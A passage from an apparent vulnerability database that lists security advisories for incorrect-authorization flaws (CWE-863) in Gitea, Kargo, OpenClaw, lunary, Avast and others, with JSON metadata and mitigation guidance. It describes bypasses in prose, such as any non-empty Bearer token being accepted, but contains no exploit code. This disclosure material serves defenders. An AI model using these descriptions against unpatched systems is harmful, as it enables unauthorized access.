},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/74ad781db9c37134ee9280c69a6b1de53801503e"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/8401fe7c544abff1ecc49d7f3166fd4ee0c174ef"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official` Approval Flag"
}
GHSA-W5QC-7G9R-478J
Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2023-08-08 15:31An issue was discovered in Cerebrate through 1.4. An incorrect sharing group ACL allowed an unprivileged user to edit and modify sharing groups.
{
"affected": [],
"aliases": [
"CVE-2022-25318"
],
"database_specific": {
"cwe_ids": [
"CWE-668",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-18T06:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in Cerebrate through 1.4. An incorrect sharing group ACL allowed an unprivileged user to edit and modify sharing groups.",
"id": "GHSA-w5qc-7g9r-478j",
"modified": "2023-08-08T15:31:44Z",
"published": "2022-02-19T00:01:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25318"
},
{
"type": "WEB",
"url": "https://github.com/cerebrate-project/cerebrate/commit/15190b930ebada9e8d294db57c96832799d9d93e"
},
{
"type": "WEB",
"url": "https://zigrin.com/advisories/cerebrate-an-incorrect-sharing-group-acl"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W5VH-33WW-R5P2
Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2022-05-24 17:09The Avast AV parsing engine allows virus-detection bypass via a crafted ZIP archive. This affects versions before 12 definitions 200114-0 of Antivirus Pro, Antivirus Pro Plus, and Antivirus for Linux.
{
"affected": [],
"aliases": [
"CVE-2020-9399"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-02-28T14:15:00Z",
"severity": "MODERATE"
},
"details": "The Avast AV parsing engine allows virus-detection bypass via a crafted ZIP archive. This affects versions before 12 definitions 200114-0 of Antivirus Pro, Antivirus Pro Plus, and Antivirus for Linux.",
"id": "GHSA-w5vh-33ww-r5p2",
"modified": "2022-05-24T17:09:55Z",
"published": "2022-05-24T17:09:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-9399"
},
{
"type": "WEB",
"url": "https://blog.zoller.lu/p/tzo-23-2020-avast-generic-archive.html"
},
{
"type": "WEB",
"url": "https://seclists.org/fulldisclosure/2020/Feb/35"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-W5WV-WVRP-V5M5
Vulnerability from github – Published: 2026-01-27 22:15 – Updated: 2026-01-29 03:43Impact
A bug was found with authentication checks on the GetConfig() API endpoint. This allowed unauthenticated users to access this endpoint by specifying an Authorization header with any non-empty Bearer token value, regardless of validity. This vulnerability did allow for exfiltration of configuration data such as endpoints for connected Argo CD clusters. This data could allow an attacker to enumerate cluster URLs and namespaces for use in subsequent attacks.
Additionally, the same bug affected the RefreshResource endpoint. This endpoint does not lead to any information disclosure, but could be used by an unauthenticated attacker to perform a denial-of-service style attack against the Kargo API. RefreshResource sets an annotation on specific Kubernetes resources to trigger reconciliations. If run on a constant loop, this could also slow down legitimate requests to the Kubernetes API server.
This vulnerability was identified by security researchers, and there are no known reports of exploitation in the wild.
Patches
This problem has been patched in the previous 3 versions of Kargo. Based on our information, almost all users are on one of these versions. If for some reason you cannot upgrade from an earlier version, please reach out to us.
Workarounds
There are no workarounds for this issue, so it is highly recommended to upgrade at the earliest possible
Additional details
This issue was caused by fallback logic in token authentication. The majority of Kargo endpoints are backed by Kubernetes objects, and for these endpoints, unrecognized token types are passed to the Kubernetes API for validation. However, the affected endpoints do not use Kubernetes or used an internal client not subject to authentication, so unrecognized tokens had no validation fallback. As a result, any request with a non-empty Bearer token in the Authorization header was incorrectly treated as authorized.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/akuity/kargo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/akuity/kargo"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0-rc.1"
},
{
"fixed": "1.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/akuity/kargo"
},
"ranges": [
{
"events": [
{
"introduced": "1.8.0-rc.1"
},
{
"fixed": "1.8.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24748"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-27T22:15:28Z",
"nvd_published_at": "2026-01-27T22:15:56Z",
"severity": "MODERATE"
},
"details": "### Impact\n\nA bug was found with authentication checks on the `GetConfig()` API endpoint. This allowed unauthenticated users to access this endpoint by specifying an `Authorization` header with any non-empty `Bearer` token value, regardless of validity. This vulnerability did allow for exfiltration of configuration data such as endpoints for connected Argo CD clusters. This data could allow an attacker to enumerate cluster URLs and namespaces for use in subsequent attacks.\n\nAdditionally, the same bug affected the `RefreshResource` endpoint. This endpoint does not lead to any information disclosure, but could be used by an unauthenticated attacker to perform a denial-of-service style attack against the Kargo API. `RefreshResource` sets an annotation on specific Kubernetes resources to trigger reconciliations. If run on a constant loop, this could also slow down legitimate requests to the Kubernetes API server.\n\nThis vulnerability was identified by security researchers, and there are no known reports of exploitation in the wild.\n\n### Patches\n\nThis problem has been patched in the previous 3 versions of Kargo. Based on our information, almost all users are on one of these versions. If for some reason you cannot upgrade from an earlier version, please reach out to us.\n\n### Workarounds\n\nThere are no workarounds for this issue, so it is highly recommended to upgrade at the earliest possible\n\n### Additional details\n\nThis issue was caused by fallback logic in token authentication. The majority of Kargo endpoints are backed by Kubernetes objects, and for these endpoints, unrecognized token types are passed to the Kubernetes API for validation. However, the affected endpoints do not use Kubernetes or used an internal client not subject to authentication, so unrecognized tokens had no validation fallback. As a result, any request with a non-empty `Bearer` token in the `Authorization` header was incorrectly treated as authorized.",
"id": "GHSA-w5wv-wvrp-v5m5",
"modified": "2026-01-29T03:43:04Z",
"published": "2026-01-27T22:15:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/akuity/kargo/security/advisories/GHSA-w5wv-wvrp-v5m5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24748"
},
{
"type": "WEB",
"url": "https://github.com/akuity/kargo/commit/23646eaefb449a6cc2e76a8033e8a57f71369772"
},
{
"type": "WEB",
"url": "https://github.com/akuity/kargo/commit/aa28f81ac15ad871c6eba329fc2f0417a08c39d7"
},
{
"type": "WEB",
"url": "https://github.com/akuity/kargo/commit/b3297ace0d3b9e7f7128858c5c4288d77f072b8c"
},
{
"type": "PACKAGE",
"url": "https://github.com/akuity/kargo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Kargo\u0027s `GetConfig()` and `RefreshResource()` API endpoints allow unauthenticated access"
}
GHSA-W5WW-7CHG-MXCQ
Vulnerability from github – Published: 2026-07-02 17:18 – Updated: 2026-07-02 17:18Summary
Telegram interactive callbacks could skip commands.allowFrom. In affected versions, a Telegram user able to invoke an affected callback could mark the callback as an authorized sender before applying commands.allowFrom.
This advisory is scoped to the named feature and configuration. It does not change OpenClaw's trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.
Impact
When the affected feature is enabled and reachable, this could trigger command behavior outside the configured Telegram sender allowlist. Practical impact depends on the operator's configuration and whether lower-trust input can reach that path.
Patched Versions
The first stable patched version is 2026.5.6.
Mitigations
restrict Telegram command callbacks to trusted chats until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.5.5"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.5.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T17:18:51Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nTelegram interactive callbacks could skip commands.allowFrom. In affected versions, a Telegram user able to invoke an affected callback could mark the callback as an authorized sender before applying `commands.allowFrom`.\n\nThis advisory is scoped to the named feature and configuration. It does not change OpenClaw\u0027s trusted-operator model: authenticated Gateway operators, installed plugins, and intentional local execution surfaces remain trusted unless a separate policy, approval, allowlist, sandbox, or auth boundary is crossed.\n\n### Impact\n\nWhen the affected feature is enabled and reachable, this could trigger command behavior outside the configured Telegram sender allowlist. Practical impact depends on the operator\u0027s configuration and whether lower-trust input can reach that path.\n\n### Patched Versions\n\nThe first stable patched version is `2026.5.6`.\n\n### Mitigations\n\nrestrict Telegram command callbacks to trusted chats until patched. As general hardening, keep channel and tool allowlists narrow, avoid sharing one Gateway between mutually untrusted users, and disable the affected feature when it is not needed.",
"id": "GHSA-w5ww-7chg-mxcq",
"modified": "2026-07-02T17:18:51Z",
"published": "2026-07-02T17:18:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-w5ww-7chg-mxcq"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Telegram interactive callbacks could skip commands.allowFrom"
}
GHSA-W5XM-MX47-V7C8
Vulnerability from github – Published: 2024-06-08 21:30 – Updated: 2024-11-18 19:40Withdrawn: This advisory was incorrectly linked the the npm package lunary. The advisory is valid, but not for that packlage.
In lunary-ai/lunary version v1.2.13, an incorrect authorization vulnerability exists that allows unauthorized users to access and manipulate projects within an organization they should not have access to. Specifically, the vulnerability is located in the checkProjectAccess method within the authorization middleware, which fails to adequately verify if a user has the correct permissions to access a specific project. Instead, it only checks if the user is part of the organization owning the project, overlooking the necessary check against the account_project table for explicit project access rights. This flaw enables attackers to gain complete control over all resources within a project, including the ability to create, update, read, and delete any resource, compromising the privacy and security of sensitive information.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "lunary"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-4146"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-10T15:33:08Z",
"nvd_published_at": "2024-06-08T20:15:52Z",
"severity": "CRITICAL"
},
"details": "Withdrawn: This advisory was incorrectly linked the the npm package `lunary`. The advisory is valid, but not for that packlage.\n\nIn lunary-ai/lunary version v1.2.13, an incorrect authorization vulnerability exists that allows unauthorized users to access and manipulate projects within an organization they should not have access to. Specifically, the vulnerability is located in the `checkProjectAccess` method within the authorization middleware, which fails to adequately verify if a user has the correct permissions to access a specific project. Instead, it only checks if the user is part of the organization owning the project, overlooking the necessary check against the `account_project` table for explicit project access rights. This flaw enables attackers to gain complete control over all resources within a project, including the ability to create, update, read, and delete any resource, compromising the privacy and security of sensitive information.",
"id": "GHSA-w5xm-mx47-v7c8",
"modified": "2024-11-18T19:40:39Z",
"published": "2024-06-08T21:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4146"
},
{
"type": "WEB",
"url": "https://github.com/lunary-ai/lunary/commit/c43b6c62035f32ca455f66d5fd22ba661648cde7"
},
{
"type": "PACKAGE",
"url": "https://github.com/lunary-ai/lunary"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/a749e696-b398-4260-b2d0-b0054b9fffa7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "lunary-ai/lunary allows users unauthorized access to projects",
"withdrawn": "2024-11-18T19:40:39Z"
}
GHSA-W65P-8M9J-6PM4
Vulnerability from github – Published: 2025-01-09 21:31 – Updated: 2025-01-31 18:31Incorrect Authorization vulnerability in Drupal Freelinking allows Forceful Browsing.This issue affects Freelinking: from 0.0.0 before 4.0.1.
{
"affected": [],
"aliases": [
"CVE-2024-13270"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-09T20:15:35Z",
"severity": "MODERATE"
},
"details": "Incorrect Authorization vulnerability in Drupal Freelinking allows Forceful Browsing.This issue affects Freelinking: from 0.0.0 before 4.0.1.",
"id": "GHSA-w65p-8m9j-6pm4",
"modified": "2025-01-31T18:31:04Z",
"published": "2025-01-09T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13270"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2024-034"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-W65R-3XH2-3PJ4
Vulnerability from github – Published: 2025-09-16 00:30 – Updated: 2025-11-03 21:34This issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in macOS Tahoe 26. An app may be able to access sensitive user data.
{
"affected": [],
"aliases": [
"CVE-2025-43307"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-15T23:15:33Z",
"severity": "MODERATE"
},
"details": "This issue was addressed with improved checks to prevent unauthorized actions. This issue is fixed in macOS Tahoe 26. An app may be able to access sensitive user data.",
"id": "GHSA-w65r-3xh2-3pj4",
"modified": "2025-11-03T21:34:30Z",
"published": "2025-09-16T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43307"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125110"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2025/Sep/53"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
No CAPEC attack patterns related to this CWE.